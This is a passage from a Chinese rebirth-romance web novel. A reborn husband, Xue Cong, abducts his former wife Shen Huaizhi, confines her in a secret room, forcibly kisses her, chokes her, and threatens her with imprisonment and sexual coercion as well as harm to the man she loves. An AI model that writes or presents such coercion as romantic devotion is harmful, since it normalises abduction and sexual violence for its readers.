“你喜欢怀逸,所以你会不顾自身安危,贸贸然的冲出来救他,会愿意告诉他南下的事,甚至愿意邀请他一起同行。”薛琮继续道,“沈怀栀喜欢陈怀逸,所以待他与任何人都不同。” 尽管薛琮语调平静,宛如平铺直叙,但沈怀栀却听出了那隐藏在平静背后的强烈的质问与指责意味。 沈怀栀早已无所谓薛琮说什么,她只知道一件事,那就是现在的她所有的一切都和薛琮无关。 所以,她破罐子破摔一般,痛快的承认下来,“是又怎么样?” 甚至于,她开始气势凌然的反质问起薛琮来,“和你有关系吗?” 当清清楚楚的听到这个本该毫无任何意外的答案时,薛琮脑袋里依旧嗡的一声,响彻无数嘈杂动静。 额角早已隐痛许久的位置此时突突直跳,他看着眼前理直气壮的沈怀栀,在头痛欲裂中,不由自主的掷出了手里的剑,剑锋划过沈怀栀身侧,留下凛冽锋芒,最终深深的钉入了树木的躯干之中。 耳际仍有剑锋嗡鸣,沈怀栀看着身后贯穿树木的剑锋,再看看眼前极力压抑怒意却依旧满眼血红的薛琮,突然意识到自己此时身处何等的危险之中。 眼前的薛琮是年轻且不受控的薛琮,他不是那个相处多年不会伤害她的薛琮,所以,察觉到危险与威胁之后,她不由自主的往后退了两步。 这代表着退后与畏惧的两步,宛如浇在滚油上的沸水,彻底将所有平静炸开。 “你很怕我?”少见的,此时本该被暴怒情绪主宰的薛琮,面上竟然露出了单薄笑意。 沈怀栀背上泛起凉意,后颈寒毛直竖,与他视线交汇间,一语不发。 “你是该怕我的,”薛琮上前几步,逐渐靠近她,直至两人之间距离缩短到呼吸相闻的地步,他才轻声道,“毕竟,现在的我,尤为憎恨你。” “憎恨”两个字一出,沈怀栀眉心直跳,心中不好的预感如此强烈,以致于她现下竟然生出了逃跑的念头。 但此时的她仿佛被薛琮的气场所威慑控制,僵硬着身体半点动弹不得,只能任由对方越靠越近。 温热呼吸触及颈间肌肤,沈怀栀不由自主的颤了一下,这种鲜明的尖锐的被威胁到命脉的滋味,着实不太好受,以致于她下意识的避开了薛琮的逼视。 “看来,你是当真下定决心,不打算要我了。”薛琮语调轻飘的仿若低喃自语,沈怀栀却觉得自己难受得好似浑身突然被针扎了一般。 但就是这种突如其来的不适,却仿佛为她的身体注入了力量,终于让她有力气躲开薛琮的靠近。 她脚下磕磕绊绊的退开几步,扶着身旁的树,气息急促眼神惊疑不定的看着眼前有些奇怪的薛琮。 在与对方那双依旧血红的眼睛对上后,她再忍耐不住,毫不犹豫的拎起裙角转身往树林外跑去。 薛琮就那样静静的站在林中,看着她逐渐跑远。 逃跑间隙,沈怀栀忍不住回头看了一眼,薛琮就那样站在弥漫着雾气的林间,宛如山中邪异可怖的精怪鬼魅,透着极致的危险。 纵然已经跑远,她依旧有种置身网中被追捕狩猎的紧迫感。 这天,沈怀栀最终是一路匆忙下山的,而金鳞卫副统领薛琮,则是旧疾复发,在处理完公事之后突然晕厥,高烧不退一天一夜后,才终于安然醒来。 至于醒来之后的那个人,看着守在身边的心腹,只说了一句话,“准备人手,我要抓一个人。” 第36章 第36章—— 沈怀栀这两天总是睡不安稳,夜里噩梦频频,以致于不得不开始饮用安神汤静心安眠。 今晚临睡前她照旧是喝了汤药的,毕竟后日就要启程南下,她不容许自己事到临头有一点不妥,所以早早便上床歇息。 安神汤可以让她闭眼安睡,却不能控制她不做梦,今天的梦依旧是混乱的,前世与现在的诸多人和事混在一起,一会儿她身处永嘉侯府,一会儿和陈理路上逃亡,一会儿哄着哭闹不止的孩子,一会儿正和薛琮冷战,到最后,是她在得知陈理死后,去陈府祭拜却未曾得见他最后一面的那一天。 梦外的她神智昏沉,梦里的她同样浑浑噩噩,她身边坐着薛琮,对方用一种极力压抑着蓬勃怒意的眼神看她,似乎想和她说些什么,但却并未说出口,最后在她的混沌与迷茫里,脚步重重的甩袖离开,给她留了一份清静。 关于这一天,她记得很清楚。 如果说她从陈家回来时还神智昏沉的话,那等她一个人静坐许久后,便恢复了理智与清醒。 这之后的很长一段时间内,她精神头都极好,甚至每日里同人打交道时还能面上带笑,对待薛琮与儿女们也堪称温柔至极,是一副比从前都要好上许多的完美模样。 然后,半月后的某一天,因为夜间吹了冷风,她突然生病了。 这场风寒持续了很久,高烧不退时据说整个人烧到胡言乱语,好不容易退烧后,高烧转为低烧的她依旧偶尔会梦呓说胡话,当然,这些她自己是不清楚的,都是身旁一直陪护的冬娘告诉她的。 说这些话时,她还顺便告诉她,薛琮与儿女都很关心她,当时的沈怀栀没注意到冬娘提及薛琮时的迟疑与犹豫,后来想想,她说的那些胡话里,大概有一些是不好为人道的。 至少,薛琮听了之后应当是极其不快与愤怒的,毕竟,自那之后,他们之间的夫妻关系可以说是急转直下僵冷如冰。 但沈怀栀是已然不在意这些了。 当她清醒之后病情稳定一些时,她以休养的名义从国公府搬到了郊外自己的庄子上,在那里待了几个月。 庄子上的主院里,种了一棵垂丝海棠,那是很久之前她同陈理闲聊时,无意中提到的年少遗憾,过后不久,他以朋友的名义送了她一棵经年老树。 那株树龄已超过二十年的海棠树不知他是从哪里寻的,虽然树干远不及其他品种的老树粗壮,但树冠却极大,种下时几乎遮住了三分之一的主院。 刚移栽到主院里时,换了水土的海棠树明显有些恹恹,她那时得了这份礼物既欣喜又担心,生怕自己养不好,但陈理却没有半点负担,只笑意爽朗的道,“如果七姑娘都养不好的话,那我当真不知道这世上还有谁能养好这株海棠树了 。” 对了,那时他总是“七姑娘”、“薛夫人”的随意混着叫,从前未注意时不曾放在心上,后来才察觉到,每一次变更的称呼背后,都代表着不同的场合与情意。 海棠树最终还是被她种活了,且在当年的花期里潇洒盛放,花如其名,垂悬如丝,花梗细长,有着被诗人们赞颂的袅袅婀娜不胜凉风的韵致。 那天晚上,夜半难以安睡的沈怀栀,就这样一路走到了海棠树下。 皎洁月光里,海棠树静静伫立,她摸着树干,突然意识到,这株海棠树的年纪,应当是和她一般大的。 从前陈理只说是二十多年,她便从未深想过这多是多少,但在那一夜,她福至心灵般,察觉到了他这份礼物背后的心意。 一株和她同龄的海棠树,就像是弥补母亲未曾给她的爱一般,种在这里取代了她年少时期曾有的奢望。 虽然陈理既不是她的父亲也不是她的母亲,仅仅只是她的朋友。 而且,还是一位已经沉眠于地下的故友。 有时候,人的崩溃就在那一瞬间。 当所有平静假面被揭开后,她终于再忍不住,流下了痛彻心扉的眼泪。 她已经不记得自己在那株海棠树下哭了多久,只知道哭到最后,整个人虚脱到浑身再无一丝力气,但即便如此,她依旧记得咬紧牙关压低声音,纵然喉咙里全是血腥味,也不能暴露这份隐晦的情意。 大约是从那一刻开始,她终于敢承认,她是爱他的。 即便这份情意不该出现不该存在,她为此成为了自己曾经最讨厌鄙夷的人,也依旧愿意正视这份越界的情感。 也是在这一夜,她背离了薛琮的妻子这个身份,纵然日后她还会是一个好母亲,但她再也做不好他的妻子了。 因为,她心里真正的爱人,另有其人。 在庄子上休养的那几个月,她开始为和离做准备,十几年来,她早已和薛琮牵扯太深,想单凭一份和离书就离开薛家离开定国公府,无异于天方夜谭。 所以,她充满耐心的,一点一滴的为自己的愿望做着准备。 或许在有些人看来,她这种选择有些自私,但对沈怀栀来说,她除了是薛琮的妻子孩子们的母亲之外,她还永远都是她自己。 她已经被人如此拼命守护过如此用心的爱过,哪还敢苛刻为难这曾经被人珍惜过的自己。 所以,和离势在必行。 事缓则圆,她既不冲动也不鲁莽,只认真且努力的实现着自己的愿望。 自那之后,这座庄子开始有了姓名,如果可以,她日后下半生的大半时间是要停留在这座庄子里的,所以,为它取名也无可厚非。 于是,她为它取名“清晖园”。 陈理送了她海棠树,她想,她也应该回应他些什么。 古诗有云,“思君如满月,夜夜减清辉”,她最早取了“清辉”二字,但当这两个字落于笔端时,她突然发现,如果她取了这两个字,无异于是将她对他的心意昭告天下。 如果只有她自己一个人,她并不畏惧于此,但她要考虑陈理的身后名,考虑孩子们的想法,考虑两个家族的颜面,所以,这份情意最终只能留在她心里。 最后,她取了“清晖”二字,清晖通清辉,代表着她那份不足为外人道的情意,是她隐瞒所有人的细腻心思,同时,清晖意为明净的光辉,正如陈理在她心中的模样。 此后,清晖园成了她另一个归宿。 梦境走到这里时,重新在梦中体会过一遍旧日记忆滋味的沈怀栀感觉到了不适。 身旁像是有人虎视眈眈,那股视线与气势带来的压迫感是如此强烈鲜明,以致于她分不清自己到底是陷入了新的梦境还是身体当真有不妥。 为此,她极力挣扎着想从梦中醒来。 但约莫是安神药的药效太强,她被沉甸甸的身体拖累着,眼睛无论如何都睁不开。 就在她心生焦躁时,背上仿佛有人耐心安抚的动作,一点点的抚平了她紧绷的心神与身体,恍惚中,好像多年前她夜里惊梦时被睡在身旁的薛琮安抚一般。 为此,她皱着的眉头下意识松缓了一些。 夜色就这样缓缓滑过,当沈怀栀的神智先于身体恢复清醒时,第一时间就察觉到了异样。 此时的她并不如睡前一般躺在沈府的闺房里,而是被人环抱着,靠在一个男人的怀里安睡。 对方身上有她极为熟悉的味道,这个怀抱也并不陌生,甚至于那慢条斯理轻抚她肩背的动作,也是如此的熟悉。 然而,这份熟悉带来的并不是安心,而是惊骇与毛骨悚然。 那抚着她肩背的手就在这时换了动作,依旧是好整以暇的安抚,但却从肩背换成了她的脸颊。 温热的指尖微风一般从脸侧拂过,带来些微痒意,紧闭着眼的沈怀栀,听到了对方低沉含笑的声音—— “还不醒吗,我的夫人。” 宛如惊雷落下,沈怀栀心里再无一星半点的怀疑与奢望,毫无疑问,正如她所恐惧的那般,最不希望的事到底还是发生了。 她紧紧闭着眼睛,仿佛想要逃避现实一般,不肯睁开眼面对残酷的现实。 这副拒绝的姿态被对方看在眼里,却并不在意,他只是用她熟悉的语调一字一句的唤道,“沈怀栀。” “我明媒正娶的妻子,相伴多年的夫人,抑或者,永嘉侯夫人?定国公夫人?” “你喜欢哪一个称呼呢,真珠。” 随着那声声句句入耳,沈怀栀的身体也一点点的充满了紧绷与戒备,终于,她放弃幻想,睁开眼面对现实。 她的眼前,自然是薛琮,但又不是薛琮。 年轻的薛琮是意气风发孤傲不群的,他还尚未学会收敛自己的傲慢与气势,但经年之后几经磨砺的薛琮,却是威严内敛声威势重的,这截然不同的神态,最熟悉的枕边人轻易就可分辩。 所以,薛琮和她一样,也有了奇遇。 意识到这一点之后,沈怀栀的心瞬间沉到了谷底,她不清楚眼前的薛琮心里在想些什么,就像她不知道自己生辰那日之后又发生了什么。 她只知道自己一觉醒来就回到了现在,并且,近日里她的种种言行,以她对薛琮的了解,只要他还记得那些记忆,毫无疑问会被她触怒。 毕竟,她的言行与手段当真是毫无顾忌。 尤其,在她亲口承认了对陈理的在意之后,他们之间那曾经遮遮掩掩许久的矛盾与心结,就这样彻彻底底的被摆在了明面上。 果然,和离书还是应当早一些拿出来,她心中生悔的想。 “真珠,”薛琮又一次唤了她的小字,在沈怀栀满心戒备的看过来时,他微微笑了,“看起来你对于见到我这件事,好像并不怎么高兴。” 沈怀栀没回答,这沉默的态度无疑代表着默认。 薛琮看在眼里,却并不生气,他只是将她更亲近的搂进怀里,和她轻声耳语,“可是,我却很高兴重新见到你。” “在你移情别恋抛弃我之后。” 沈怀栀不适的往后侧了侧身体,但却被薛琮充满禁锢意味的动作制止,他轻轻摩挲着她颈间的命脉,以一种温柔到让人胆战心惊的姿态,轻声对她道,“你想象不到,见到你我有多高兴。” “尤其,在知道你是你之后。” 沈怀栀不觉得老夫老妻重逢这件事有多值得高兴,如果从前对年轻的薛琮她还有所收敛的话,那现在眼前这个薛琮,她说起话来再无任何顾忌。 “是你亲手把我从沈府带出来的?”她神色冷静的问,“现在什么时辰了,沈家有没有发现我失踪的事?你是怎么善后我失踪的事的?” 薛琮定定的看着她,面上笑意渐渐淡去,换成了一种格外冷硬的漠然,“你总是在不该分神的时候,去在意这些细枝末节。” 沈怀栀不觉得眼前有什么不该分神的重要事,纵然她对薛琮的出现有些难以接受,但事情既然已经发生无可挽回,那能做的就只有面对。 现在,她就在冷静的面对薛琮,处理她即将成为烂摊子的新生活。 而导致这一切即将失常的祸源薛琮,似乎消了和她浪费口舌的心思,姿态强硬的将她整个人抱进了怀里。 束缚在身上的力量如钢筋铁骨一般难以撼动,以致于沈怀栀 没有半分反抗之力,当她分神思考的间隙,头发被揪扯的痛楚瞬间唤回她的神智,然后,被紧紧按在薛琮怀里的人,再无一丝发声的可能。 温热的肌肤相贴,她的挣扎宛如蚍蜉撼树,丝毫抵抗不了对方的入侵,对方一步步逼迫着攻城略地,她只觉得自己的嘴唇又痛又麻。 这短暂的接触已经无法满足对方的贪婪之心,而她抗拒的姿态与咬紧的牙关瞬间点燃了压抑许久的怒火,让对方用沙哑晦涩的声音发出命令。 “张嘴。” 那两个字在唇齿间含糊而过,沈怀栀自然是不肯听话的,但当薛琮的手在她颈间咽喉处随手一拨,她下意识汲取空气的动作立刻给了对方可乘之机,至此,她再无反抗余地。 即将窒息的前一刻,拼命后退的沈怀栀已经退无可退,好在薛琮终于肯大发慈悲放过她,安静的密室里随之响起急促的呼吸声。 神智恢复清醒的沈怀栀挣扎着夺回了那么一点主动权,然后在薛琮从容不迫的目光里,一耳光狠狠地扇了过去。 薛琮没躲也没避,就这么定定的看着她,生生受了这记耳光。 清脆的声响成为了此时密室里最大的动静,因为那扇人的力道微微侧脸的薛琮,用有别于之前的暗哑冷酷语调问道,“你生气,是因为觉得身为你丈夫的我亲吻你冒犯,还是因为,你有想要守身如玉的对象?” 沈怀栀努力平复呼吸,用同样冷酷的语调反问道,“结果都一样,有区别吗?” “当然有区别,”薛琮微微笑道,“这决定了,我将会如何对待那个让你移情别恋的对象。” 平静语调的背后,沈怀栀听出了不善,她紧张的盯着薛琮的眼睛,发现他没有半分开玩笑的意思。 他是真的会对陈理不利,这一刻,她清晰的有了这个认知。 第37章 第37章—— 四面封闭的密室里,煌煌烛火映照出一派富贵锦绣。 沈怀栀置身其中,却宛如置身数九寒天,浑身上下的每一分感觉都是冰冷的,而薛琮的那句话,无疑让她彻底深陷冰窟。 眼前这不止是一个密室,应当说,这是一个用来关押富贵鸟的牢笼,抑或者,这就是薛琮的惩罚,让她在这场密室捕猎里再无反抗余地。 而她可能放弃抵抗吗?显然不能。 室内温暖如春,而她穿着一身单薄里衣坐在薛琮怀中,衣衫凌乱,气息急促,无需细看就知道刚刚发生过什么。 置身于这样弱势的情境里,还被迫同薛琮亲近,她应当是会感到羞耻与愤怒的,但很可惜,她不觉得被逼迫的自己需要羞耻,她对薛琮,只有愤怒。 愤怒让她冷静,同时让她更加顽强的反抗。 在薛琮好整以暇的眼神中,她神色平静的慢慢收拢好自己的衣襟,看着他开了口,“薛琮,你夜袭沈府,将我掳到这里,就只是为了做这些事?” 沈怀栀面上还有因为刚才激烈亲近残留的红晕与春-情,但和她这副妩媚面容不同的是,她的眼神里却充满了澄澈的冷漠与坚定,她就这样看着自己过去的丈夫,直言道,“你该知道,我不是真正的十六岁小姑娘,发生这种事并不会让我哭天喊地羞耻恐惧,夫妻多年,我们之间坦诚相见过那么多次,这种手段对我并不管用。” 认真听她说完的薛琮,突然莫名一笑,重复起她的用词,“手段,羞耻,恐惧……” “看来,在你眼里,我这样亲近你,只是为了羞辱你,”他微微摇头,用一种看幼稚孩童的不赞同目光轻声道,“真珠,你太不了解男人,也太不了解我了。” 看着薛琮丝毫未被激怒且还充满了兴致盎然的目光,沈怀栀心中糟糕预感更甚。 眼前的薛琮,她完全预料不到他的反应与应对,眼前的人确实是她曾经的丈夫没错,但绝不是她印象里那个即将和离的丈夫。 “怎么这么看着我?”薛琮坦然笑问她,“是不是觉得我变化太大,你快要认不出来了?” 沈怀栀沉默着没说话,但只看她的神情,就能明白她此时心中的复杂难言。 显然,她确实是这样的想法。 薛琮看起来并没有想要为她解惑的打算,他只是亲近的将她搂在怀里,用一种愉悦的充满教导意味的语气道,“我的宝贝真珠,让你的丈夫来告诉你,如果他想羞辱你的话,会用一种什么手段。” 沈怀栀微微皱眉,然后在薛琮意味深长的笑意中,再次被轻薄了个彻底。 被扯乱的衣襟凌乱的挂在身上,她宛如风浪中被无情摧残的飘摇小船,每一次随风浪而起时都有种无可抵抗的恐惧感与无力感,主宰她命运的人这时候并不会给出多余的疼惜与同情心,他是残酷的强势的,一定要让她随他操-控摆布才合心意。 呼吸时断时续的沈怀栀终于再一次无力的跌坐在薛琮怀里时,他慢条斯理的沿着她的唇角蹭去指尖湿润,在她耳旁轻声笑道,“如果我真的想羞辱你,那你心心念念的陈理,此时一定在旁边。” 原本神智还有些混沌的沈怀栀,在听到这句话后仿佛尖刺入耳,瞬间恢复清醒,眼神下意识去探寻这个看起来极其封闭普通的密室周遭。 她那副宛如惊弓之鸟的模样,引得薛琮低笑出声,他轻轻咬了下她的耳朵,声音含糊的道,“看起来我们真珠好像不怎么信任我。” “不过放心,夫君再坏也不舍得这么对你,毕竟我们真珠这么可爱,我可不舍得你被别人看到。” 闻言,惊魂未定的沈怀栀忍不住打了个冷颤,她从未见过眼前这样惺惺作态的薛琮,对方装模作样的姿态宛如鬼魅上身,仅仅只是用看的,都仿佛多了几分阴诡之气。 她第一次,切切实实的,从心底生出了几分迷茫和慌乱。 这场本该让她弥补遗憾的迷途知返之梦,突然间变得荒诞可怕了起来。 “薛琮,你到底想做什么?”沈怀栀突然问道,“你能不能清楚明白的告诉我,你到底想要什么?” “我想要的?”薛琮抚摸着她长发的动作微微一顿,随即心满意足的道,“现在这一切,就是我想要的。” “现在这一切?”沈怀栀道,“你是说,掳走我,囚禁我,让我自此在京中身败名裂,成为人人嘴里的笑谈?” “还是说,单纯只是让我成为你的禁脔,在你腻味了之后,放我自由抑或者生死随意?” “你能清楚的告知我,我的未来是哪一个吗?” 沈怀栀问得毫不客气,但薛琮的态度却是温和的纵容的,甚至是充满了怜爱的。 “你总是这么心急。”他说。 “那你能告诉心急的我答案吗?”沈怀栀直接道,“我需要知道答案。” “答案啊,”薛琮轻叹一口气,用一种充满不解的眼神看她,“真珠,你是不是应该先告诉我,为什么你总是把我想得那么坏。” 因为你就是有那么坏,沈怀栀用眼神直白控诉道,否则她现在不会身处密室是一副如此狼狈的模样。 薛琮仿佛被她这副模样逗笑,上前给了一个足够缠绵的吻后,才在沈怀栀急促的气息里低声道,“看来,你还是像从前一样,既有足够的天真可爱,转头对我又有足够的冷酷无情与铁石心肠。” 沈怀栀不忿,薛琮说她的那些话她一句都不认同,以致于她忍不住出言嘲讽他,“天真可爱?你对你刚过完三 十二岁生辰的妻子说可爱?对一个和你相敬如宾多年的贤妻良母说她冷酷无情铁石心肠?” “薛琮,你倒打一耙的本事,看起来是越发长进了。” 沈怀栀这番毫不客气的话让薛琮沉默,他面上那点令人不虞的笑意终于淡去。 面无表情的薛琮看起来是有些可怕的,他身上那股深重的浸透在骨子里的冷漠无情肆意蔓延开来,让所有一切都变得凝滞迟缓。 “生辰……”他轻声念着这两个字,用一种沈怀栀无论如何都辨不真切的眼神定定的看着她,“你给自己的生辰礼是和离书,同时也给了我一份毕生难忘的惊喜。” 终于谈到旧事,沈怀栀很有话说,她直言不讳道,“那份和离书在我这里依旧作数,那时候你没来得及签,现在我们可以补上这份缺憾。” “补上缺憾?”薛琮遗憾摇头,“真珠,恐怕你这辈子都没机会弥补遗憾了。” “既然从前我没签,现在自然也不会,这份奢望,你可以打消了。” 沈怀栀闻言沉默,她神色不快的看他,“不签也无所谓,上辈子的夫妻又如何,已经过去的事,除了你我没人知道,既然不知道就是不存在。” “至于这辈子,比起来寻我的麻烦,我觉得你还是早些去寻你那位太后娘娘才是正经,万一哪一日她又被送入五皇子府,恐怕你还要再尝一次相思之苦。” “太后娘娘?”薛琮嗤笑一声,用一副格外轻慢不屑的语调道,“你是说那个,用你和怀逸的私情做把柄,用先帝觊觎臣妻之事威胁我,让我对她妥协让步的太后吗?” 沈怀栀已经分不清这是她今天第几次被惊到了,她看着薛琮,脑海里转着他那几句话,几乎转不过弯来。 “我需要解释。”她听到自己犹豫又迟钝的干涩嗓音。 薛琮端过一旁早就备好的水,喂了她两口后,见她不想再喝,自己顺手一饮而尽。 在沈怀栀满心焦躁的等待中,他不紧不慢的道,“这没什么好解释的,你和李玉瑶打过交道,应当知道她是个有几分心机的人,一个毒蛇一般野心勃勃的女人,为了权势地位荣华富贵做出什么事都不稀奇。” “倒是你,”薛琮似笑非笑的看了她一眼,“但凡你有她半分野心,也不会把你的丈夫变成一个天真的蠢货。” 纵然是说自己,薛琮也不曾口下留情,倒是沈怀栀听到“蠢货”这两个字,皱了皱眉,“你到底是在骂你自己,还是在骂我?” “骂我自己,”薛琮笑道,“我们真珠这么可爱,谁舍得骂你呢?” “油嘴滑舌不适合你,”沈怀栀一言难尽的道,“你能不能不要阴阳怪气,像从前那样好好和我说话。” “一个丧妻的鳏夫,你不能指望他还像从前一样,”薛琮淡淡道,“人都是会变的,你就当我换了性子吧。” 这是换了性子吗?这简直是换了个人。 听薛琮的话,沈怀栀不免觉得,或许生辰那天就是她的死劫,而她并没有熬过去,只是不知道她离世之后又发生了什么,以致于现在出现在她面前的薛琮是这副模样。 薛琮既然不想说,那她也无意深究,只是将话题重新扯回李玉瑶身上,神色平静的道,“我以为你喜欢李玉瑶,所以想成全你们。” 不管是深夜梅林相会,还是外间那些被放纵的流言蜚语,既然薛琮喜欢李玉瑶,那她自然觉得和离对他们都好。 “成全我们?”薛琮难得露出两分讥嘲之色,“真珠,你真正想成全的,难道不是你自己吗?” “在你眼里,我喜欢李玉瑶这件事,不是正巧给了你机会达成所愿?” “所以,我应该是喜欢李玉瑶的,”薛琮冷嘲道,“而且,我必须喜欢她。” “你这是在怪我?”沈怀栀有些被气笑的冲动,“薛琮,在指责我之前,你不妨想想你曾经做过些什么!” “是啊,我是做过很多让你误会的事,”薛琮半点不否认,甚至还有些理直气壮的意味,“但那又如何,身为我妻子的沈怀栀,既不在乎,又半点不曾质问过我,她只会用那种好像彻底解脱一般的眼神看着我,一日日的盘算着何时要同我和离。” “这种滋味,我当真是尝够了,”薛琮冷笑道,“恐怕就连我的政敌,都没你羞辱我来得多来得深刻。” “他们应该高兴,我身边有个不竭余力一心为他们雪耻的仇敌。” 这番话实在是荒谬,听得沈怀栀气血上涌,她呼吸起伏不定的看着薛琮,似乎在打量如何再给他一个清脆的耳光,以结束他这些胡言乱语与胡说八道。 现在的薛琮,比起年轻的他,不止心性沉稳老辣许多,就连脸皮都变厚了,沈怀栀觉得,厚颜无耻说的就是眼前这个人。 “看看,我只是稍微说几句,你就恼羞成怒了,”薛琮凑近她低声道,“你以为,现在还是从前,我会容忍你,放纵你心安理得的离开我?” “真珠,不要做白日梦了,现在在你眼前的,可不是当年那个年轻天真的蠢货。” “蠢货也比厚颜无耻好!”沈怀栀没忍住反驳道,“现在的你简直不可理喻!” 闻言,薛琮哼笑一声,凑过来在沈怀栀颈侧的胎记上狠狠地咬了一下。 沈怀栀忍痛闷哼,换来薛琮低声自语,“不管是厚颜无耻也好,不可理喻也罢,现在重新出现在你面前的都是我,若是换做当年那个天真的蠢货?他可不会这么对你。” “他当然不会这么对我!”沈怀栀忍怒道。 那时候他们两个人的夫妻关系早已陷入僵局,薛琮在外面同太后娘娘的风流韵事传遍帝京,而她怀抱着和离的期望日日努力,夫妻关系僵冷,两人大半时间都是分房睡,就算睡在同一张床上,彼此也绝不越界。 实话实说,沈怀栀更喜欢那时候守规矩的薛琮,而不是眼前这个肆无忌惮又厚颜无耻的男人。 “他确实不会这么对你,”薛琮缓缓道,手指往下滑过沈怀栀的腿,“他只会怀抱着无用的愤怒和天真懦弱的期望,用一些简陋愚蠢的手段逼你正视他,期望你吃醋,期望你后悔,期望你忘掉心里那个人,简直愚蠢的可怕。” 事情早已经过去,沈怀栀着实不想再听薛琮这些刻薄无用的话,也不想再和他纠缠那些旧事,因此直接伸手堵住了他接下来的话。 对她的抗拒,薛琮浑不在意,他轻轻摩挲着手边的肌肤,对沈怀栀道,“接下来这些话,关系到你的日后,你确定不听完?” 沈怀栀犹豫了下,最后到底还是求生欲占据上风,放任薛琮把话说完。 但听完之后,她只恨自己没有捂死眼前这个男人,才让他污了自己耳朵。 因为薛琮说,“你需要明白一件事,我和你从前认识的薛琮,截然不同。” “就像他,舍得放纵你独守空闺,我却是做不到的,”薛琮带着强硬力道的手,握住了她的脚腕,他压低了声音在她耳际道,“我有没有说过,我们真珠这双腿,又细又直,漂亮极了,尤其是缠在我腰上的时候……” 在沈怀栀羞恼愤恨的眼神中,薛琮自顾自的接了下去,“若是我,在知晓你背叛我时,一定会立刻将你关起来。” “关在我日日触手可及的地方,关在谁都不知道的密室里,只能被我一个人看见。” 留在耳畔的声音愈发的小了,以致于因为愤怒耳际轰鸣的沈怀栀几乎听不清薛琮接下来的话,但那握着她脚腕的手顺势往上滑动的动作却是清晰可见的。 “很漂亮……”他呢喃低语道,“若换做是我,必定会日日……你合不拢腿……” 在沈怀栀不可置信的目光里,薛琮微微一笑,手滑到了她小腹之上轻轻按压,“虽然我不怎么喜欢孩子,也不怎么想让你再为我生儿育女,但是——” 带着气音的语调在她耳际盘旋,“被……也是不错的选择。” 沈怀栀几乎要怀疑自己的耳朵了,她不敢置信自己从薛琮嘴里听到了什么,就在她震惊不已的目光中,薛琮神情自然的凑过来轻吻了一下她脸颊,好似刚才那个极尽卑鄙无耻下流的人不是他似的。 她觉得自己疯了。 如果不是疯了,怎么会做出这么荒诞不羁的梦。 沈怀栀在那里怀疑人生的时候,做出了种种荒诞之 举的薛琮本人却状态良好。 他抚了抚沈怀栀披散在背后的长发,从容坦然的道,“放心,知道你害怕,不会把你关起来。” 将沈怀栀注意力吸引过来之后,他微微笑道,“沈家那边的善后我早已准备妥当,你不用担心会传出什么贵女被掳的流言,我也可以很快放你回去。” “但是,我并不想做赔本生意,真珠,你若想要达成所愿,总要做点什么来哄我高抬贵手吧?” 看着沈怀栀那副迟疑踌躇的模样,薛琮神色安然的等待结果,半点不将妻子的为难看在眼里。 毕竟,一个丧妻多年心理扭曲的老鳏夫,你还能指望他有什么良心呢。 第38章 第38章—— 被等待答案的沈怀栀,并未如薛琮所愿,给出他想要的答案。 因为她在开始思考薛琮的问题时,就很快察觉到了自己的失误,她像从前很多次一样,又一次陷入了薛琮的节奏与陷阱。 他这种人是这样的,总是仗着心思机敏玩一些顾左右而言他的把戏,一旦她开始跟随他的节奏走,不用怀疑,她很快就会在这场较量中落败。 以往的教训早就让她学会了审慎戒备的应对他,但这次因为突如其来的冲击,她没能很好的控制住自己,但不要紧,她清醒的反应来得比预料中更快更及时,毕竟,她早已养成了下意识的习惯。 旧日本能及时拉回了沈怀栀的理性,她放弃思考薛琮的问题,转而道,“好,我相信你会放我回去,但在我付出代价之前,你是不是应该和我解释一下,我突然死掉的原因。” 她坚定明澈的眼神中映出薛琮的脸,语调缓慢却有力,“我身体一向都很好,没道理突然一觉不醒,如果我是生辰那天过世的话,我不觉得自己的死是自己的原因。” “如果深究一下,我怀疑自己有八成可能是被人害死的,那么,我们精明睿智无所不能的定国公大人,能不能告诉你已经为此丢掉一条命的妻子,她到底是怎么死的?” 这番话一出,薛琮身上那种始终游刃有余的姿态终于消失,他坐在那里,像是突然被人一鞭子狠狠抽到了脊背和脸上似的,无法控制的露出两分狰狞与扭曲之色。 然而仅仅只是一瞬,沈怀栀还未看清,他便整个人低下头来,将自己埋进了她怀里,这下子,她再无法窥见薛琮半分反应。 勒在身上的手,力气大到人发疼,沈怀栀耐心的等了一会儿,依旧不见对方有所反应。 于是,这次换做她居高临下了,她抚着薛琮肩头那片被她揉皱的衣襟,神色平静的追问道,“看来我的死因,让你难以启齿,这是不是说明了,至少我的死因和自己无关?” 那一瞬间,沈怀栀感觉到薛琮抓着她的手下意识颤抖了一下,但她并不在乎他受不受刺激,只是语气平淡的继续问了下一个问题—— “薛琮,害死我的凶手,是你吗?” 他们两人都很清楚这个凶手是什么意思。 薛琮自然是不会对沈怀栀动手的,但他未必不是害死她的主因,沈怀栀此刻追求的答案,就是这个。 当人想要互相伤害时,一旦抓住对方的软肋,立刻会毫不留情的出击,沈怀栀其实根本不在意自己是被谁害死的,她人都已经死了,上辈子的仇人也不在跟前,如果薛琮还顾忌和她的夫妻情分以及儿女们母亲早亡这件事,他必不可能轻易放过凶手。 所以,只从结果来看,她的仇应当是早就被报了的,但这并不妨碍此时的沈怀栀以自己的死作为武器,来逼迫薛琮。 只要他在意,那她的手段就是有用的,而且她将会极尽能事的将其利用殆尽。 因此,她甚至不介意用一种温柔的语调来再问一次,“薛琮,我是因你而死,对吗?” 薛琮依旧低着头,是半个字也不肯回复,但沈怀栀反而对他多出了许多容忍与耐心,她的手滑到他的背上,像曾经安抚儿女们那样轻轻拍着,温言软语道,“定国公大人,你不回答的话,我就只能这样一直问下去了。” 怀里的人颤抖了一下,在沈怀栀充满耐心的等待中,他终于肯抬头,然后露出一张不由自主写满了痛苦的脸。 看得出,身体的主人在极力控制压抑这份痛苦,但他的眼睛与身体却并不能做到顺应心意,蕴满泪水红通通湿漉漉的眼睛,写满疼痛与折磨的眼角眉梢,此时出现在沈怀栀面前的这个人,身上的每一分每一毫似乎都在无声的彰显着痛苦这两个字。 “你看起来真痛苦啊,”沈怀栀温柔的捧起薛琮的脸,轻声道,“好像比我这个已经死掉的人还要痛苦,以致于我在这么情深意重的你面前,都有些无地自容了。” “你说是吗,我的定国公大人。” 如果语言能化作利剑,那沈怀栀觉得,眼前的薛琮应当已经被她一剑穿心,至少,他的表情和反应是这么告诉她的。 一直挺直的脊背终于弯掉的薛琮,就这样挣脱了她的手,整个人颤抖着身体扎进了她的怀里,像是躲避外界无情风雨和伤害的雏鸟一般,蜷缩在她怀里瑟瑟发抖。 沈怀栀静静的看着这一幕,然后听到了极其微小的话语声。 